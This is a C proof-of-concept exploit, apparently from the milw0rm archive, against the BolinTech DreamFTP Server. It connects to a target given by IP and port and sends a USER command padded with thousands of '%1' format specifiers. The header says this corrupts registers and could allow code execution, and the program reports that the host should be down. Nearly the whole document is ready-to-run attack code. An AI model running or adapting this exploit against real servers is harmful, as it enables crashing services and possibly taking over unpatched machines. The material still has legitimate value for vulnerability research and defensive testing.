BolinTech DreamFTP Server - 'USER' Remote Buffer Overflow (PoC)

/**************************************************************************
*BolinTech DreamFTP USER buffer overflow                                  *
*                                                                         *
*The server does not correctly handle format string so sending a command  *
*like USER %1*3000 let us own EDX. Other values can also affect EAX & ECX *
*                                                                         *
*This is only a POC but code execution is possible                        *
*                                                                         *
*usage: dreamftp.exe ip port                                              *
*                                                                         *
*Coded by Marsu <Marsupilamipowa@hotmail.fr>                            *
**************************************************************************/

#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
	struct hostent *he;
	struct sockaddr_in sock_addr;
	WSADATA wsa;
	int ftpsock;
	char recvbuff[1024];
	char evilbuff[5003];
	int buflen=5000;// edx=31253125
	int i;

	if (argc!=3)
	{
		printf("[+] Usage: %s <ip> <port>\n",argv[0]);
		return 1;
	}
	WSACleanup();
	WSAStartup(MAKEWORD(2,0),&wsa);

	printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]);
	if ((he=gethostbyname(argv[1])) == NULL) {
		printf("Failed\n[-] Could not init gethostbyname\n");
		return 1;
	}
	if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
		printf("Failed\n[-] Socket error\n");
		return 1;
	}

	sock_addr.sin_family = PF_INET;
	sock_addr.sin_port = htons(atoi(argv[2]));
	sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
	memset(&(sock_addr.sin_zero), '\0', 8);
	if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
		printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
		return 1;
	}
	printf("OK\n");
	memset(recvbuff,'\0',1024);
	recv(ftpsock, recvbuff, 1024, 0);

	printf("[+] Building payload ... ");
	for (i=0;i<buflen;i+=2) {
		memcpy(evilbuff+i,"%1",2);
	}

	memcpy(evilbuff,"USER ",5);
	memcpy(evilbuff+buflen,"\r\n\0",3);
	printf("OK\n[+] Sending USER ... ");
	if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
		printf("Failed\n[-] Could not send\n");
		return 1;
	}
	printf("OK\n");
	memset(recvbuff,'\0',1024);
	recv(ftpsock, recvbuff, 1024, 0);
	Sleep(1000);
	printf("[+] Host should be down\n");
	return 0;
}

// milw0rm.com [2007-01-14]